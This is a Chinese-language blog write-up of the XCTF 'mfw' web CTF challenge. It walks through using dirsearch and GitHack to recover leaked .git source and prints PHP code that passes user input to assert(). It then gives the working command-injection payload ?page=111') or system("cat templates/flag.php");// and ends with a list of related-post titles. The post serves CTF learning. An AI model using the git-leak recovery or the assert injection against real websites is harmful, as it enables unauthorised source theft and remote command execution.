最近自学了1个月的CTFweb题,参加比赛一道题都没做出来,有点自闭,但还是告诉自己要慢慢来,有意向打CTF的同学可以私信,一起学习。

---------------------------------------------------------------------------------------------------------------------------------

这道题光安装软件就走了很多弯路,几乎是花了一天的时间去学习,解答。所以尽可能的一篇文章让像我一样的小白了解详细方法和思路,而不是单单粗暴的解题。

目录

题目

解题过程

所需知识点

思路

过程

总结



题目

解题过程

  • 工具   (单击查看下载教程)

dirsearch (目录扫描工具)

Githack   (必须要在python2.8环境下运行,如果像我一样,kail中python版本为2.7 和3的,

请点击(python3版本 Githack下载)

所需知识点

Githack源码泄露(没接触的点击查看详解):使用git在初始化代码库的时候,会在当前目录下产生一个.git的隐藏目录,用来记录代码的变更等。同时使用这个文件可以恢复各个版本的代码,所以如果.git文件可以访问,就可能泄露了源代码。

php命令执行(没接触的点击查看详解):应用程序的某些功能功能需要调用可以执行系统命令的函数,如果这些函数或者函数的参数被用户控制,就有可能通过命令连接符将恶意命令拼接到正常的函数中,从而随意执行系统命令,这就是命令执行漏洞。

思路

1.首先肯定是F12查看源码,没思路

2.按照惯例,能点的全点一遍

获取了什么信息呢?把英文简单翻译一下就是,自己做这个网站,用了Git(版本控制系统)php(后端) bootstrap(前端框架)。

这里考察的是Git源码泄露。(如果像我一样的小白肯定想不到拉,原来都不知道有这个名称,不过没关系,当作知识的积累。)

以下在kail虚拟机操作

进入dirsearch文件目录,打开终端,输出一下命令查看网站目录

python3 dirsearch.py -u http://111.200.241.244:63981/ -e*~

可以看到网站目录下有Git文件。

进入Githack-master文件目录,打开终端输入以下命令获取源码

python3 GitHack.py  http://111.200.241.244:63981/.git/

下载的源码在Githack文件里面,文件名为111.200.241.244:63981 (你的url)

进入templates

想当然的点击flag.php

没有什么信息,剩下的都来点一下,发现有用的只有index.php

flag.php 这里存在一个问题,后面会说到。

这里把源码放上来

blob 2199 <?phpif (isset($_GET['page'])) {$page = $_GET['page'];
} else {$page = "home";
}$file = "templates/" . $page . ".php";// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");?>
<!DOCTYPE html>
<html><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>My PHP Website</title><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css" /></head><body><nav class="navbar navbar-inverse navbar-fixed-top"><div class="container"><div class="navbar-header"><button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar"><span class="sr-only">Toggle navigation</span><span class="icon-bar"></span><span class="icon-bar"></span><span class="icon-bar"></span></button><a class="navbar-brand" href="#">Project name</a></div><div id="navbar" class="collapse navbar-collapse"><ul class="nav navbar-nav"><li <?php if ($page == "home") { ?>class="active"<?php } ?>><a href="?page=home">Home</a></li><li <?php if ($page == "about") { ?>class="active"<?php } ?>><a href="?page=about">About</a></li><li <?php if ($page == "contact") { ?>class="active"<?php } ?>><a href="?page=contact">Contact</a></li><!--<li <?php if ($page == "flag") { ?>class="active"<?php } ?>><a href="?page=flag">My secrets</a></li> --></ul></div></div></nav><div class="container" style="margin-top: 50px"><?phprequire_once $file;?></div><script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.12.4/jquery.min.js" /><script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/js/bootstrap.min.js" /></body>
</html>

这里的php代码为:

if (isset($_GET['page'])) {
    $page = $_GET['page'];
} else {
    $page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

(刚学php的小白表示来简单的学习下这些函数)

isset()检测变量是否已声明,

strpos() 函数查找字符串在另一字符串中第一次出现的位置。如果没有找到则返回False

file_exists() 函数检查文件或目录是否存在。

assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的行动。 如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。 assertion 是字符串 的优势是当禁用断言时它的开销会更小,并且在断言失败时消息会包含 assertion 表达式。 这意味着如果你传入了 boolean 的条件作为 assertion,这个条件将不会显示为断言函数的 参数;在调用你定义的 assert_options() 处理函数时,条件会转换为字符串,而布尔值 FALSE 会被转换成空字符串。

(关于php命令执行后期会出一个学习心得,最近有点卡在这了)

过程

再重新回到源码,

先是以get请求获得page值,如果没有则返回。

之后再把page值添加,构造文件路径名

然后用strpos函数检查文件路径名是否有".."   如果没有的话 返回false

这里肯定要让它false 之后false==false才能执行下一步assert("file_exists('$file')")

assert("file_exists('$file')") 在这里构造payload

$file=111') or system("cat templates/flag.php");

最终payload为 ?page=111') or system("cat templates/flag.php");//

之后按一定要按F12查看源码看flag

!!!!!这就走了吗???!!!!!!!!

别忘了之前我们还有一个问题,就是我们下载源码后,为什么查看flag.php没有显示什么东西呢?

而我们用命令执行查看的也是服务器上的flag.php文件呢,2者不是一样的么?

其实Git源码泄露是因为一些程序员的疏忽,为了方便把Git源码上传到服务器,使用后却没有删除,这道题目我们用Githack获取的flag.php源码是被出题人修改的,与我们实际命令执行进入的真正的flag.php不同。

总结

这道题考察了Git源码泄露,php代码审计,命令执行。我认真学习各路大神的write up ,最后梳理了自己的学习,解题的思路。 再把自己要用到的知识点 一 一叙述,作为小白,这道题花费了我几乎2天的时间学习,解题,发文章。到现在其实我感觉多么快获得这道题的答案并不重要,重要的是从中能学习到多少东西。

最后 有一起打CTF的可以私信,一起学习。


作者水平有限,有任何不当之处欢迎指正。

本文目的是为了传播web安全原理知识,提高相关人员的安全意识,任何利用本文提到的技术与工具造成的违法行为,后果自负!

XCTF-MFW Git泄露,命令执行漏洞 详解相关推荐

  1. 文件包含与命令执行漏洞详解

    代码注入 远程文件包含漏洞 文件包含 了解什么是本地文件包含漏洞 了解本地文件包含漏洞所要用到的函数 掌握本地文件包含漏洞的利用方式 了解 PHP 语言中的封装协议 掌握本地文件包含漏洞的修复方法 什 ...

  2. RCE代码及命令执行漏洞简解

    在 Web 应用中有时候程序员为了考虑灵活性.简洁性,会在代码调用 代码或命令执行函数去处理.比如当应用在调用一些能将字符串转化成代 码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏 洞 ...

  3. 第30天-WEB 漏洞-RCE 代码及命令执行漏洞全解

    在 Web 应用中有时候程序员为了考虑灵活性.简洁性,会在代码调用代码或命令执行函数去处理.比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞.同样 ...

  4. GIT常用命令以及使用详解图示

    1配置个人信息,方便提交代码管理 获取Git配置信息,执行以下命令: git config --list 如果你还没有设置名字 user.name 和 user.email的话,可以用以下指令设置: ...

  5. 跨站脚本执行漏洞详解

    [前言] 本文主要介绍跨站脚本执行漏洞的成因,形式,危害,利用方式,隐藏技巧,解决方法和常 见问题(FAQ),由于目前介绍跨站脚本执行漏洞的资料还不是很多,而且一般也不是很详细 ,所以希望本文能够比较 ...

  6. html %3ca%3e可以传参吗,跨站脚本执行漏洞详解-恶魔上传

    区域,你就允许JavaScript执行.一般来说,前者的安全级别都要高于后者.这样,一般情况下别人无法通过执行恶意JavaScript脚本对你进行攻击,但是如果与你处于相同内网的服务器存在跨站脚本执行 ...

  7. Linux is执行程序命令,linux命令执行过程详解

    1.执行命令 输入命令后回车 提请shell程序找到键入命令所对应的可执行程序或者代码,并且由其分期后,提交给内核分配资源将其运行起来. 在shell中可执行的命令有俩类: 内部命令:由shell自带 ...

  8. 【web安全】——命令执行漏洞(RCE)详解

    作者名:Demo不是emo  主页面链接:主页传送门 创作初心:舞台再大,你不上台,永远是观众,没人会关心你努不努力,摔的痛不痛,他们只会看你最后站在什么位置,然后羡慕或鄙夷 座右铭:不要让时代的悲哀 ...

  9. PPLIVE源代码泄露及两个struts命令执行漏洞

    配置不当导致网站源代码泄露   svn导致网站源代码泄露 http://home.pplive.com/.svn/text-base/SQLDao.jsp.svn-base 修复方案:http://w ...

  10. FastJson远程命令执行漏洞

    FastJson远程命令执行漏洞学习笔记 Fastjson简介 fastjson用于将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean.fastjson.ja ...

最新文章

  1. ios签名软件_如何给无法上架App Store的App做ios签名?
  2. CSS 负边距自适应布局
  3. 32 墨水屏股票显示器_炒股护眼新选择 | 电子墨水显示器amp;平板盯盘效果(附视频)...
  4. Cross-Site Scripting(XSS)的类型
  5. CGCS2000 VS WGS84
  6. Hyper-V 2012 R2 故障转移群集之建立域控(AD DS)与加入域
  7. Go 1.8中值得关注的几个变化
  8. 【OpenCV学习笔记】【函数学习】十二(cvCanny()函数及其阈值设置的比较)
  9. 西门子TIA portal中如何安装FANUC机器人的GSD文件
  10. enum ordinal_Java Enum ordinal()方法与示例
  11. linux无法识别sas硬盘,关于SNMP监控SAS硬盘问题?
  12. 2022机器学习好网站大收藏
  13. Windows怎么查看开关机记录事件?
  14. 【VMware】VMware虚拟机与主机之间文件共享配置
  15. HMI-43-【节能模式】顶部标题栏和底部信息栏及灯光及启动动画
  16. torch中Tensor的使用
  17. Oracle数据库之创建序列
  18. 如何实现表格固定表头和某列
  19. 2015年百度之星程序设计大赛 - 资格赛【题解】
  20. Android之targetSdkVersion详解

热门文章

  1. 实现英文的大小写转换
  2. 分门别类刷leetcode——链表(C++实现)
  3. mysql spider引擎安装_【转】MySQL之Spider存储引擎原理详解
  4. Laya shader opengles 2.0 第一章-飘扬的旗帜 gitee代码
  5. ISA-95/B2MML教程 : 从用例到XML消息的整合实践
  6. oracle数据库变为只读状态,oracle只读模式
  7. android tv香橙派镜像,香橙派-如何通过dd制作系统镜像
  8. 计算机网络10种,(完整版)计算机网络10种硬件设备介绍.doc
  9. MTK-MT65-MT67系列对比
  10. 基于OBD系统的量产车评估测试(PVE)